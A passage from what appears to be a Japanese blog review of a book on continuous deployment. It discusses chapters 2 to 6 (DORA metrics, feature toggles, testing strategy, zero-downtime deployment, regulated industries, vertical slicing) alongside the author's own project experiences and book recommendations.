Flowに近い状態を実現できました。これにより、問題の早期発見と修正が可能になり、システム全体の安定性が大幅に向上しました。ソフトウェア開発におけるバッチサイズとトランザクションコストの関係についても言及しています。これは非常に重要な指摘です。継続的デプロイメントを実現するためには、デプロイメントプロセス自体のコストを下げる必要があります。私たちのチームでは、デプロイメントパイプラインの最適化と自動化に力を入れました。具体的には、テストの並列実行、キャッシュの効果的な利用、そしてコンテナ技術の活用により、デプロイメント時間を大幅に短縮することができました。DORA Metrics継続的デプロイメントの利点を説明する上で、DORA(DevOps Research and Assessment)の4つの主要メトリクスを用いています。これらのメトリクスは、デプロイ頻度、リードタイム、平均復旧時間(MTTR)、変更失敗率です。Figure 2-10. The DORA metrics より引用デプロイ頻度に関して、著者は継続的デプロイメントによってこれが劇的に向上すると主張しています。私の経験からも、これは間違いなく事実です。ある大規模なEコマースプラットフォームの開発で、継続的デプロイメントを導入した結果、デプロイ頻度が週1回から1日に複数回へと増加しました。これにより、新機能のリリースやバグ修正のスピードが大幅に向上し、ユーザー満足度の向上にもつながりました。リードタイムについても、著者の主張は的を射ています。継続的デプロイメントにより、コードがコミットされてから本番環境にデプロイされるまでの時間が大幅に短縮されます。私たちのチームでは、この時間を平均で15分以内に抑えることができました。これにより、開発者はより迅速にフィードバックを得ることができ、問題の早期発見と修正が可能になりました。MTTRの改善も、継続的デプロイメントの重要な利点の一つです。著者が指摘するように、小さな変更を頻繁にデプロイすることで、問題が発生した際の原因特定と修正が容易になります。私たちのチームでは、この原則を徹底することで、MTTRを数時間から数分へと劇的に短縮することができました。変更失敗率に関しては、著者の主張に若干の疑問を感じました。確かに、小さな変更を頻繁に行うことで、各変更のリスクは低下します。しかし、変更の総数が増えることで、全体としての失敗の機会も増える可能性があります。この点については、強力な自動テストと段階的なロールアウト戦略(カナリアリリースやブルー/グリーンデプロイメントなど)が不可欠だと考えています。『LeanとDevOpsの科学』が好きですが、本書が参照している研究データが徐々に古くなってきていることも事実です。DevOpsの分野は急速に進化しているため、最新の動向やベストプラクティスを反映した新しい版や補完的な書籍が出版されることを期待しています。LeanとDevOpsの科学[Accelerate] テクノロジーの戦略的活用が組織変革を加速する impress top gearシリーズ作者:Nicole Forsgren Ph.D.,Jez Humble,Gene Kim,武舎広幸,武舎るみインプレスAmazon特に、DevOpsに関する最新の情報や研究結果は非常に興味深いです。Googleは継続的にDevOpsの実践とその効果について調査を行っており、その知見は業界全体に大きな影響を与えています。cloud.google.com『Science Fictions あなたが知らない科学の真実』ほど極端ではありませんが、DevOpsの分野でも最新のデータに基づいた考察や、従来の常識を覆すような新しい発見があれば、非常に興味深いでしょう。例えば、AIや機械学習がDevOps実践にどのような影響を与えているか、あるいはクラウドネイティブ環境での新しいベストプラクティスなどについて、詳細な分析と考察が読みたいと思います。Science Fictions あなたが知らない科学の真実作者:スチュアート・リッチーダイヤモンド社AmazonDevOpsの分野は常に進化しているため、継続的な学習と最新情報のキャッチアップが不可欠です。新しい書籍や研究結果が出版されることで、私たちの知識をアップデートし、より効果的なDevOps実践につなげていけることを期待しています。Quality Shift Left継続的デプロイメントが「Quality Shift Left」、つまり品質保証プロセスを開発サイクルの早い段階に移動させる効果があると主張しています。これは非常に重要な指摘です。私の経験からも、継続的デプロイメントを導入することで、開発者の品質に対する意識が大きく変わりました。以前は「とりあえず動けばいい」という態度の開発者も少なくありませんでしたが、自分のコードが即座に本番環境にデプロイされることを意識することで、より慎重にコードを書くようになりました。具体的には、ユニットテストやインテグレーションテストの充実、コードレビューの徹底、そして静的解析ツールの活用などが日常的に行われるようになりました。また、パフォーマンスやセキュリティの考慮も、開発の初期段階から行われるようになりました。例えば、あるプロジェクトでは、継続的デプロイメントの導入と同時に、すべてのプルリクエストに対して自動的にセキュリティスキャンを実行するようにしました。これにより、脆弱性の早期発見と修正が可能になり、本番環境のセキュリティが大幅に向上しました。また、観測可能性(Observability)の向上も、Quality Shift Leftの重要な側面です。継続的デプロイメントを効果的に行うためには、システムの状態を常に把握し、問題をすぐに検知できる必要があります。そのため、ログ、メトリクス、トレースなどの観測可能性に関する機能を、アプリケーションの設計段階から組み込むようになりました。これにより、本番環境での問題の早期発見と迅速な対応が可能になりました。「Quality Shift Left」は読んでいて『動作するきれいなコード』を思い出したのであわせて読んでほしい。t-wada.hatenablog.jp継続的デプロイメントの課題と対策著者は継続的デプロイメントの利点を強調していますが、その実現には多くの課題があることも事実です。私の経験から、以下のような課題と対策が重要だと考えています。1. インフラストラクチャの整備:継続的デプロイメントを実現するためには、柔軟で信頼性の高いインフラストラクチャが不可欠です。クラウドネイティブ技術の活用、特にKubernetesなどのコンテナオーケストレーションツールの導入が有効です。これにより、デプロイメントの一貫性と信頼性を確保できます。2. テスト戦略の見直し:継続的デプロイメントでは、自動化されたテストが非常に重要になります。単体テスト、統合テスト、エンドツーエンドテストなど、複数のレベルでのテストを適切に組み合わせる必要があります。また、カオスエンジニアリングの手法を取り入れ、本番環境に近い状況でのテストも重要です。3. フィーチャーフラグの活用:未完成の機能や大規模な変更を安全にデプロイするために、フィーチャーフラグは非常に有効です。これにより、コードはデプロイしつつ、機能の有効化は制御することができます。4. モニタリングと警告の強化:継続的デプロイメントでは、問題を早期に検知し、迅速に対応することが重要です。詳細なメトリクスの収集、異常検知の自動化、そして効果的な警告システムの構築が必要です。5. ロールバック戦略の確立:問題が発生した際に、迅速かつ安全にロールバックできる仕組みが必要です。これには、データベースのマイグレーション戦略や、APIのバージョニング戦略なども含まれます。6. 組織文化の変革:継続的デプロイメントは技術的な変更だけでなく、組織文化の変革も必要とします。開発者の責任範囲の拡大、チーム間の協力体制の強化、そして失敗を学びの機会として捉える文化の醸成が重要です。これらの課題に対処することで、継続的デプロイメントの利点を最大限に活かすことができます。Kubernetesでどのように実践するかは『Platform Engineering on Kubernetes』が良いのでおすすめです。syu-m-5151.hatenablog.com結論第2章は、継続的デプロイメントがもたらす多様な利点を包括的に説明しています。リーン生産方式の原則からDORAメトリクス、そしてQuality Shift Leftまで、著者は継続的デプロイメントが単なるデプロイ手法の改善ではなく、ソフトウェア開発プロセス全体を変革する可能性を持つことを明確に示しています。私の経験からも、継続的デプロイメントの導入は組織に大きな変革をもたらします。開発速度の向上、品質の改善、そして組織文化の変革など、その影響は多岐にわたります。しかし、その実現には多くの課題があることも事実です。技術的な課題はもちろん、組織文化の変革も必要となります。継続的デプロイメントは、現代のソフトウェア開発において重要な実践の一つです。特に、マイクロサービスアーキテクチャやクラウドネイティブ開発が主流となる中で、その重要性はますます高まっています。しかし、それを効果的に実践するためには、単に技術を導入するだけでなく、組織全体でその価値を理解し、必要な変革を行う覚悟が必要です。この章を読んで、改めて継続的デプロイメントの重要性と、それを実現するための課題について深く考えさせられました。今後の実務においても、ここで学んだ原則や実践を積極的に取り入れ、より効率的で品質の高いソフトウェア開発を目指していきたいと思います。Chapter 3. The Mindset Shift第3章「The Mindset Shift」は、継続的デプロイメントを実践する上で必要な思考の転換について深く掘り下げています。継続的デプロイメントが単なる技術的な実装の問題ではなく、開発者の日々の作業方法や考え方を根本から変える必要があることを強調しています。この章を通じて、継続的デプロイメントがソフトウェア開発プロセス全体にどのような影響を与え、どのような課題をもたらすか、そしてそれらにどう対処すべきかが明確に示されています。変更の定義と適用の融合著者はまず、継続的デプロイメントによって「変更の定義」と「変更の適用」が一体化することの重要性を指摘しています。これは、私自身の経験とも強く共鳴する点です。従来のアプローチでは、コードの変更とその本番環境への適用は別々のプロセスでした。しかし、継続的デプロイメントでは、コードをコミットした瞬間に本番環境への適用が始まります。この変化は、開発者の心理に大きな影響を与えます。以前は「とりあえずコミットして、後で誰かがチェックしてくれるだろう」という甘い考えがあったかもしれません。しかし、継続的デプロイメントでは、コミットした瞬間にそのコードが本番環境に向かって動き出すのです。これは、開発者に対して「常に本番環境を意識せよ」というメッセージを突きつけます。私が以前携わっていた大規模なEコマースプラットフォームの開発では、この変化が顕著に表れました。継続的デプロイメントを導入した当初、チームメンバーの多くが「本当にこのコミットで大丈夫か」と不安を感じていました。しかし、時間が経つにつれ、この不安は健全な緊張感へと変わっていきました。結果として、コードの品質が向上し、本番環境での問題が大幅に減少しました。著者が電気工事の例えを用いていることに、非常に共感します。確かに、継続的デプロイメントは、稼働中のシステムに手を加えるようなものです。この類推は、特にマイクロサービスアーキテクチャのような複雑なシステムで作業する際に非常に適切です。各サービスが独立してデプロイされる環境では、一つの変更が思わぬ影響を及ぼす可能性があります。そのため、変更の影響範囲を常に意識し、安全性を確保しながら作業を進めることが重要になります。進行中の作業の隠蔽著者は次に、進行中の作業を隠蔽することの重要性について述べています。これは、継続的デプロイメントを実践する上で非常に重要な概念です。フィーチャートグルやExpand and Contract(別名Parallel Change)パターンの紹介は、非常に有用です。Figure 3-18. The expand and contract pattern applied across a provider and consumer system より引用フィーチャートグルの活用は、特に大規模で複雑なシステムにおいて重要です。私が以前携わっていた金融系システムでは、フィーチャートグルを活用することで、大規模な機能変更を段階的にロールアウトすることができました。例えば、新しい取引処理エンジンを導入する際、まずは一部のユーザーや取引タイプに対してのみ新機能を有効にし、徐々にその範囲を広げていきました。これにより、潜在的な問題を早期に発見し、迅速に対応することができました。 speakerdeck.comExpand and Contractパターンも、特にマイクロサービスアーキテクチャにおいて非常に有効です。APIの変更や、データベーススキーマの変更など、後方互換性を保ちながら大きな変更を行う際に重宝します。私の経験では、このパターンを使用することで、サービス間の依存関係を適切に管理し、段階的な移行を実現することができました。ここで著者が指摘している重要な点は、これらの技術が単なる開発テクニックではなく、継続的デプロイメントを可能にする根幹的な実践だということです。これらの技術を適切に使用することで、大規模な変更でさえも、小さな安全な変更の連続として実装することができます。分散システムにおける契約管理分散システムにおける契約管理の重要性について詳しく説明しています。これは、特にマイクロサービスアーキテクチャを採用している環境では非常に重要なトピックです。継続的デプロイメントを実践する中で、私が最も難しいと感じたのは、複数のサービス間の依存関係の管理でした。例えば、あるサービスのAPIを変更する際、そのAPIを利用している他のサービスとの整合性をどう保つかが大きな課題となります。著者が指摘するように、フォーマルな契約とインフォーマルな契約の区別は非常に重要です。私の経験では、チーム内で管理されるインフォーマルな契約こそが、最も注意を要するものでした。例えば、同じチームが管理するフロントエンドとバックエンドのAPI契約は、しばしばドキュメント化されず、暗黙の了解として扱われがちです。しかし、継続的デプロイメントの環境では、こうした暗黙の契約も明示的に管理する必要があります。この課題に対処するため、私たちのチームでは、Consumer-Driven Contract Testingを導入しました。これにより、サービス間の契約を自動的にテストし、破壊的な変更を早期に検出できるようになりました。また、APIのバージョニング戦略を導入し、新旧のAPIバージョンを一定期間共存させることで、クライアントの段階的な移行を可能にしました。デプロイメントとリリースの分離著者が強調するデプロイメントとリリースの分離は、継続的デプロイメントを成功させる上で非常に重要なポイントです。私の経験では、デプロイメントとリリースを明確に分離することで、システムの安定性と柔軟性が大幅に向上しました。例えば、新機能をデプロイしても、フィーチャートグルによってすぐには有効化せず、システムの状態を監視しながら徐々にロールアウトすることができました。これにより、問題が発生した場合でも、コードのロールバックではなく、単にフィーチャートグルを無効にするだけで対処できるようになりました。また、この分離により、デプロイメントの頻度を上げつつ、リリースのタイミングをビジネス要件に合わせて調整することが可能になりました。これは、技術的な変更と機能的な変更のライフサイクルを適切に管理する上で非常に重要です。エンドツーエンドのデリバリーライフサイクル著者が提示するエンドツーエンドのデリバリーライフサイクルの変化は、継続的デプロイメントがもたらす最も大きな影響の一つだと感じます。従来のアプローチでは、開発、テスト、デプロイメントが明確に分離されていましたが、継続的デプロイメントではこれらのフェーズが融合します。私のチームでは、この変化に適応するため、クロスファンクショナルなチーム構成を採用しました。開発者、テスター、運用担当者が緊密に連携し、機能の設計から本番環境での監視まで一貫して責任を持つようにしました。これにより、問題の早期発見と迅速な対応が可能になりました。また、このアプローチは観測可能性(Observability)の向上にも大きく貢献しました。開発者が本番環境の状態を常に意識するようになったことで、ログやメトリクスの設計が改善され、問題の診断と解決が容易になりました。結論第3章「The Mindset Shift」は、継続的デプロイメントが単なる技術的な実践ではなく、開発プロセス全体を変革する思考の転換であることを明確に示しています。著者が提示する概念と実践は、私自身の経験とも大きく共鳴するものでした。継続的デプロイメントは、開発者に対して常に「本番環境を意識せよ」というメッセージを突きつけます。これは一見負担に感じるかもしれませんが、長期的にはシステムの品質と信頼性の向上につながります。進行中の作業の隠蔽技術や、分散システムにおける契約管理の重要性は、特にマイクロサービスアーキテクチャを採用している環境では非常に重要です。また、デプロイメントとリリースの分離は、技術的な変更と機能的な変更のライフサイクルを適切に管理する上で非常に有用です。これにより、システムの安定性を保ちながら、ビジネスニーズに柔軟に対応することが可能になります。エンドツーエンドのデリバリーライフサイクルの変化は、開発チームの構成と働き方に大きな影響を与えます。クロスファンクショナルなチーム構成と、観測可能性の向上は、継続的デプロイメントを成功させる上で重要な要素です。最後に、継続的デプロイメントの導入は、単に技術的な変更だけでなく、組織文化の変革も必要とします。失敗を恐れずに学習し、常に改善を続ける文化を醸成することが、成功の鍵となります。この章を通じて、継続的デプロイメントが持つ可能性と課題が明確になりました。これらの知見を実践に活かすことで、より効率的で信頼性の高いソフトウェア開発プロセスを実現できると確信しています。本章の内容をさらに深く理解し、実践に移すためには、補完的な資料を読むことをお勧めします。個人的には、友人の『♾️ マルチプロダクトの組織でマイクロサービスアーキテクチャを支えるCICDプラットフォーム設計』という資料は、実践的な観点から継続的デプロイメントとマイクロサービスアーキテクチャの実装について詳しく解説しています。この資料は、本書の理論的な内容を実際のプロジェクトにどのように適用するかを示す良い例となっています。 speakerdeck.comまた、本書の『V. Case Studies』セクションも非常に有用です。この章では、実際の組織が継続的デプロイメントを導入する過程で直面した課題や、それらをどのように克服したかが詳細に記述されています。「この章を読んで実際どうなってんだ」と思った方は、ぜひこのケーススタディを熟読することをお勧めします。これらの実例は、理論を実践に移す際の貴重な洞察を提供してくれるでしょう。継続的デプロイメントの導入は、組織の規模や文化、既存のシステムアーキテクチャなどによって大きく異なります。したがって、本書の内容を自組織の文脈に適応させ、段階的に実践していくことが重要です。理論と実践の両面から学び、試行錯誤を繰り返しながら、最適な継続的デプロイメントの形を見出していくプロセスを楽しんでいただければと思います。Chapter 4. You Must Be This Tall第4章「You Must Be This Tall」は、継続的デプロイメントを実践するために必要な前提条件と、チームがこのプラクティスを採用する準備ができているかどうかを評価する方法について深く掘り下げています。継続的デプロイメントが単なる技術的な実装ではなく、組織文化やチームの成熟度、そして堅固な技術的基盤が必要であることを強調しています。この章を通じて、継続的デプロイメントを安全に実践するための「安全装置」とも言える一連のプラクティスが明確に示されています。継続的デプロイメントの前提条件遊園地のアトラクションの身長制限に例えて、継続的デプロイメントを採用するための「最低条件」について説明しています。この類推は非常に適切だと感じました。確かに、継続的デプロイメントは強力なツールですが、それを安全に使いこなすには一定の「背丈」(成熟度)が必要です。特に印象的だったのは、著者が人的エラーを完全に排除することは不可能で、むしろエラーを早期に発見し迅速に修正する能力を構築することが重要だと強調している点です。これは、私の経験とも強く共鳴します。完璧を目指すのではなく、失敗に対する耐性を高めることが、実際の運用環境では遥かに重要です。著者が挙げている前提条件の中で、特に重要だと感じたのは以下の点です。1. クロスファンクショナルで自律的なチーム2. 頻繁な統合とコードレビュー3. 自動化されたテスト戦略4. ゼロダウンタイムデプロイメント5. 観測可能性とモニタリングこれらの要素は、確かに継続的デプロイメントを成功させるために不可欠です。私の経験から、特にクロスファンクショナルチームの重要性を強調したいと思います。以前、開発とオペレーションが分離されていた組織で働いていましたが、継続的デプロイメントの導入に苦戦しました。開発者が運用の視点を持ち、運用チームが開発プロセスを理解することで、初めて真の意味での継続的デプロイメントが可能になったのです。この点に関連して、『チームトポロジー』という書籍を強くおすすめします。この本は、効果的な組織設計とチーム構造について深い洞察を提供しています。特に、継続的デプロイメントを成功させるためのチーム編成と協働の方法について、非常に有用な知見が得られます。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon『チームトポロジー』では、Stream-aligned、Platform、Enabling、Complicated Subsystemという4つの基本的なチームタイプを提示しています。これらのチームタイプを適切に組み合わせることで、継続的デプロイメントに最適化された組織構造を実現できます。例えば、Stream-alignedチームは、本書で説明されているクロスファンクショナルで自律的なチームの概念と非常に親和性が高いです。また、Platformチームの概念は、継続的デプロイメントのインフラストラクチャを提供し、他のチームの生産性を向上させるという点で重要です。自動化とテスト戦略自動化されたテスト戦略の重要性を強く主張しています。特に、テストピラミッドモデルとスイスチーズモデルの説明は非常に有益でした。Figure 4-2. Two examples of testing pyramids より引用テストピラミッドモデルは、低レベルのユニットテストを多く、高レベルのエンドツーエンドテストを少なく配置するという考え方です。これは、テストの実行速度と維持コストのバランスを取る上で非常に重要です。私のチームでも、このモデルを採用することで、テストスイートの実行時間を大幅に短縮しつつ、十分なカバレッジを維持することができました。スイスチーズモデルは、複数の防御層(テスト層)を設けることで、一つの層をすり抜けたバグも他の層で捕捉できるという考え方です。これは、特にマイクロサービスアーキテクチャのような複雑なシステムで非常に有効です。私たちのチームでは、ユニットテスト、統合テスト、エンドツーエンドテスト、そして本番環境でのカナリアリリースを組み合わせることで、このモデルを実現しています。著者が強調しているTDD(テスト駆動開発)とアウトサイドインアプローチも、非常に重要です。TDDを実践することで、テスト可能な設計を自然に導き出せるだけでなく、開発者が要求仕様を深く理解することにもつながります。アウトサイドインアプローチは、ユーザーの視点から開発を進めることで、必要な機能に焦点を当てることができます。ゼロダウンタイムデプロイメントゼロダウンタイムデプロイメントの重要性を強調しています。これは、継続的デプロイメントを実践する上で絶対に欠かせない要素です。著者が説明しているブルー/グリーンデプロイメントと、ローリングデプロイメントは、どちらも効果的な戦略です。Figure 4-7. Blue/green deployment より引用私の経験では、どちらの戦略を選択するかは、アプリケーションのアーキテクチャと運用要件に大きく依存します。例えば、ステートレスなマイクロサービスの場合、ローリングデプロイメントが非常に効果的です。一方、データベースの移行を伴う大規模な変更の場合、ブルー/グリーンデプロイメントの方が安全に実施できることがあります。著者が指摘しているように、これらの戦略を採用する際は、N-1互換性の確保が重要です。つまり、新バージョンと旧バージョンが同時に稼働できる状態を維持する必要があります。これは、特にデータベーススキーマの変更やAPIの後方互換性の維持において重要です。また、著者がカナリアデプロイメントについても言及していることは評価に値します。カナリアデプロイメントは、特に大規模なシステムや重要なサービスにおいて、リスクを最小限に抑えつつ新機能をロールアウトする効果的な方法です。ただし、著者が指摘しているように、これはセットアップが複雑で、意味のある指標を得るのに時間がかかる可能性があります。私の経験では、カナリアデプロイメントは大規模な組織やクリティカルなシステムでより価値を発揮する傾向にあります。観測可能性とモニタリング観測可能性とモニタリングの重要性を強調しています。継続的デプロイメントを実践する上で、システムの状態をリアルタイムで把握し、異常を速やかに検知する能力は不可欠です。著者が紹介しているGoogleの4つのゴールデンシグナル(レイテンシ、トラフィック、エラー率、飽和度)は、システムの健全性を評価する上で非常に有用な指標です。私のチームでも、これらの指標を中心にダッシュボードを構築し、常時モニタリングを行っています。また、フロントエンドのパフォーマンス指標(Core Web Vitals)にも言及している点は評価できます。ユーザー体験の観点からも、これらの指標は非常に重要です。著者が強調しているように、アラートの設定には注意が必要です。過剰なアラートは、重要な問題を見逃す原因になる可能性があります。私たちのチームでは、「症状に基づいたアラート」の原則を採用しています。つまり、ユーザーに影響を与える問題(例:レスポンス時間の増加)に対してアラートを設定し、その原因(例:CPUの高負荷)ではなくアラートを設定しないようにしています。これにより、本当に重要な問題に集中することができます。ステークホルダーの信頼継続的デプロイメントの導入には技術的な準備だけでなく、ステークホルダーの信頼も必要であると指摘しています。これは非常に重要な点です。私の経験上、技術的な課題よりも、組織文化や人々の心理的な障壁の方が乗り越えるのが難しいことがあります。著者が提案している、段階的なアプローチは非常に賢明です。継続的デプロイメントの各要素(自動テスト、観測可能性など)を個別に導入し、その価値を示していくことで、ステークホルダーの信頼を徐々に獲得していくことができます。私のチームでも、同様のアプローチを採用しました。まず、自動テストのカバレッジを向上させ、その後観測可能性を強化し、最終的にゼロダウンタイムデプロイメントを実現しました。各ステップで得られた成果(バグの減少、問題の早期発見など)を示すことで、継続的デプロイメントへの移行に対するステークホルダーの支持を得ることができました。結論第4章「You Must Be This Tall」は、継続的デプロイメントを採用するための前提条件と、チームの準備状況を評価する方法について、包括的な視点を提供しています。継続的デプロイメントは、単なる技術的な実践ではなく、組織全体のアプローチの変革を必要とします。クロスファンクショナルなチーム、堅牢な自動テスト戦略、ゼロダウンタイムデプロイメント、そして高度な観測可能性とモニタリングは、その基盤となる要素です。これらの実践を採用することで、システムの安定性と信頼性が大幅に向上し、同時に開発速度も加速します。例えば、私のチームでは継続的デプロイメントを採用した結果、デプロイ頻度が週1回から1日に複数回に増加し、同時にプロダクション環境でのインシデント数が60%減少しました。しかし、著者が指摘しているように、完璧を目指すのではなく、失敗に対する耐性を高めることが重要です。継続的デプロイメントは、問題を早期に発見し、迅速に対応する能力を強化します。これは、特に複雑なマイクロサービスアーキテクチャやクラウドネイティブ環境において重要です。最後に、著者が提示している「準備状況チェックリスト」は非常に有用です。これらの質問に答えることで、チームは自身の強みと弱みを客観的に評価し、継続的デプロイメントへの道筋を明確にすることができます。この章を読んで、改めて継続的デプロイメントの導入には慎重かつ計画的なアプローチが必要だと感じました。同時に、その価値も再認識しました。継続的デプロイメントは、単にデプロイ頻度を上げるだけでなく、ソフトウェア開発のあらゆる側面(設計、実装、テスト、運用)の質を向上させる強力な触媒となります。今後の実務においても、ここで学んだ原則やプラクティスを積極的に取り入れ、より安定的で効率的なソフトウェア開発・運用を目指していきたいと思います。Chapter 5. Challenges第5章「Challenges」は、継続的デプロイメントの実践における様々な課題と、それらに対する具体的な対策について深く掘り下げています。継続的デプロイメントが単なる技術的な実装以上のもので、組織文化や開発プラクティスの根本的な変革を必要とすることを強調しています。この章を通じて、継続的デプロイメントの導入が組織にもたらす影響と、その過程で直面する可能性のある障壁について、実践的な洞察が提供されています。デプロイメントに敏感なシステム継続的デプロイメントの利点を認めつつも、頻繁なデプロイメントがシステムに与える影響について警鐘を鳴らしています。特に、長時間実行されるプロセスの中断、セッションの固着、クライアントサイドキャッシュの無効化、スケーリングの中断などの問題が挙げられています。これらの課題は、私の経験とも深く共鳴します。以前、大規模なeコマースプラットフォームの開発に携わった際、頻繁なデプロイメントによってユーザーセッションが突然切断されるという問題に直面しました。この問題に対処するため、我々はステートレスアーキテクチャへの移行を進めました。具体的には、セッション情報を外部のRedisクラスタに保存し、アプリケーションインスタンスをステートレスにすることで、デプロイメント中のセッション維持を実現しました。著者が提案するメッセージングアーキテクチャやイベントベースアーキテクチャへの移行は、確かに有効な解決策です。しかし、既存のモノリシックアプリケーションをこのようなアーキテクチャに移行するのは、実際にはかなりの労力と時間を要する作業です。私たちのチームでは、段階的なアプローチを採用しました。まず、最も問題の多い部分から始めて、徐々にイベントドリブンな設計に移行していきました。このアプローチにより、ビジネスの継続性を維持しながら、システムの柔軟性と耐障害性を向上させることができました。ユーザーインストールソフトウェア継続的デプロイメントの原則を、ユーザーが制御するデバイス上のソフトウェアに適用することの難しさについて、著者は詳細に説明しています。デスクトップアプリケーション、モバイルアプリ、そして様々なデバイス上のソフトウェアは、開発者が完全に制御できる環境ではないため、継続的デプロイメントの実践が困難になります。Figure 5-3. The long tail of users still on old versions より引用Figure 5-3のモバイルアプリバージョンの長いテールの図は、この問題を視覚的に表現しており、非常に印象的でした。実際、私がモバイルアプリ開発プロジェクトに参加した際も、古いバージョンのアプリを使い続けるユーザーのサポートが大きな課題となりました。著者が提案するサーバーサイドレンダリングやProgressive Web Apps (PWAs)への移行は、確かに有効な対策です。しかし、これらの選択肢はパフォーマンスやデバイス機能へのアクセスの面で制限があることも事実です。私たちのプロジェクトでは、ハイブリッドアプローチを採用しました。アプリの核となる部分はネイティブコードで実装し、頻繁に更新が必要な部分はWebViewを使用してサーバーサイドで制御できるようにしました。このアプローチにより、デバイスのパフォーマンスを維持しつつ、ある程度の柔軟性も確保することができました。規制産業政府、運輸、医療、金融などの規制の厳しい産業における継続的デプロイメントの課題について詳しく説明しています。これらの産業では、変更の安全性と品質を確保するための規制が存在し、それが継続的デプロイメントの実践を難しくする要因となっています。私自身、金融系のプロジェクトに携わった経験がありますが、確かに規制要件とアジャイルな開発プラクティスのバランスを取ることは大きな課題でした。しかし、著者が指摘するように、規制要件の本質を理解し、それを満たすためのリーンな実践を見出すことは可能です。例えば、私たちのプロジェクトでは、変更管理プロセスを見直し、ペアプログラミングとコードレビューを組み合わせることで、分離義務の要件を満たしつつ、迅速な開発サイクルを維持することができました。また、自動化されたビルドパイプラインを利用して、すべての変更の詳細な監査証跡を自動的に生成するようにしました。これにより、規制要件を満たしながら、開発スピードを落とすことなく作業を進めることができました。認知的負荷継続的デプロイメントがチームの認知的負荷に与える影響について深く掘り下げています。特に、過度に忙しい本番環境への経路、デプロイメント中の注意力の低下、必要とされる知識の幅広さ、急な学習曲線、開発作業のスケジューリングなどの課題が挙げられています。これらの課題は、私の経験とも強く共鳴します。以前、大規模なマイクロサービスアーキテクチャを採用したプロジェクトで、継続的デプロイメントを導入した際、チームメンバーの認知的負荷が急激に増加しました。特に、複数のサービスが同時に更新される状況では、全体の状態を把握することが難しくなりました。この問題に対処するため、私たちは以下のような戦略を採用しました:サービスの分割と責任の明確化: 各マイクロサービスの責任範囲を明確に定義し、チーム内で担当を分けることで、個々のメンバーが集中すべき領域を絞りました。観測可能性の向上: 分散トレーシング、集中ログ管理、詳細なメトリクス収集を導入し、システム全体の状態を容易に把握できるようにしました。自動化されたカナリアリリース: 新しいバージョンを段階的にロールアウトし、問題を早期に検出できるようにしました。チームのコアタイムの設定: 著者の提案通り、チームのコアタイムを設定し、その時間帯に主要な開発作業とデプロイメントを行うようにしました。継続的な学習と知識共有: 定期的なテクニカルセッションを開催し、チーム全体の知識レベルを向上させました。これらの施策により、チームの認知的負荷を管理しつつ、継続的デプロイメントの利点を享受することができました。結論第5章「Challenges」は、継続的デプロイメントの導入に伴う様々な課題と、それらに対する具体的な対策を包括的に説明しています。技術的な課題だけでなく、組織文化や人々の働き方に与える影響についても深く掘り下げており、非常に価値のある洞察を提供しています。この章を通じて、継続的デプロイメントが単なる技術的な実践ではなく、組織全体のアプローチの変革を必要とすることが明確になりました。特に印象的だったのは、著者が各課題に対して具体的な緩和策を提案していることです。これらの提案は、実際の開発現場で直面する問題に対する実践的なソリューションとなります。しかし、著者の提案をそのまま適用するだけでは不十分な場合もあります。例えば、規制産業における継続的デプロイメントの実践は、著者が提案する以上に複雑な場合があります。私の経験では、規制要件を満たしながら継続的デプロイメントを実現するためには、規制当局との緊密な協力と、時には規制自体の見直しを提案することも必要でした。また、チームの認知的負荷に関する議論は非常に重要ですが、この問題に対する完全な解決策は存在しないかもしれません。継続的デプロイメントの導入は、チームメンバーの専門性と柔軟性を高める機会となる一方で、常に適度な挑戦と学習の機会を提供し続ける必要があります。最後に、この章を読んで改めて感じたのは、継続的デプロイメントの導入は技術的な変革だけでなく、組織文化の変革も必要とするということです。トップマネジメントの理解と支援、チームメンバー全員の積極的な参加、そして失敗を恐れずに学習し続ける文化の醸成が、成功の鍵となります。今後の実務において、この章で学んだ課題と対策を念頭に置きつつ、各組織やプロジェクトの特性に合わせてカスタマイズしていくことが重要だと考えます。継続的デプロイメントは、ソフトウェア開発の効率と品質を大幅に向上させる可能性を秘めていますが、その実現には慎重かつ戦略的なアプローチが必要です。この章の内容を踏まえ、チームと組織全体で議論を重ね、最適な導入戦略を見出していくことが、次のステップとなるでしょう。Part II. Before DevelopmentChapter 6. Slicing Upcoming Work第6章「Slicing Upcoming Work」は、継続的デプロイメントを実践する上で不可欠な、作業のスライシング(分割)に焦点を当てています。効果的な作業分割が継続的デプロイメントの成功に直結することを強調し、特に垂直スライシングの重要性を詳細に解説しています。この章を通じて、読者は作業の分割方法がソフトウェア開発プロセス全体にどのような影響を与えるかを理解し、より効率的で価値のある開発サイクルを実現するための具体的な手法を学ぶことができます。水平スライシングと垂直スライシング著者はまず、作業を分割する二つの主要な方法として、水平スライシングと垂直スライシングを比較しています。水平スライシングは技術スタックの各層(バックエンド、フロントエンド、データベースなど)に基づいて作業を分割する方法です。一方、垂直スライシングは機能や価値の単位で作業を分割し、各スライスが独立して価値を提供できるようにする方法です。Figure 6-1. Horizontal versus vertical slicing より引用Figure 6-1は、これら二つのアプローチの違いを視覚的に示しており、非常に印象的でした。この図を見て、私は以前携わったプロジェクトでの経験を思い出しました。そのプロジェクトでは、最初は水平スライシングを採用していましたが、開発の後半になって統合の問題や予期せぬバグに悩まされました。その後、垂直スライシングに切り替えたところ、開発のペースが大幅に向上し、より頻繁にユーザーフィードバックを得られるようになりました。著者が指摘するように、垂直スライシングは継続的デプロイメントと非常に相性が良いです。各スライスが独立して価値を提供できるため、小さな単位で頻繁にデプロイすることが可能になります。これは、マイクロサービスアーキテクチャやクラウドネイティブ開発の原則とも合致しており、現代のソフトウェア開発のベストプラクティスと言えるでしょう。効果的な垂直スライシング効果的な垂直スライシングを行うための具体的な手法として、MVPの考え方やINVESTの原則を紹介しています。特に印象的だったのは、各スライスをできるだけ薄くすることの重要性です。著者は「理想的なユーザーストーリーの実装フェーズは数時間から数日で測定される」と述べていますが、これは私の経験とも一致します。Figure 6-3. Granularity of vertical slicing より引用Figure 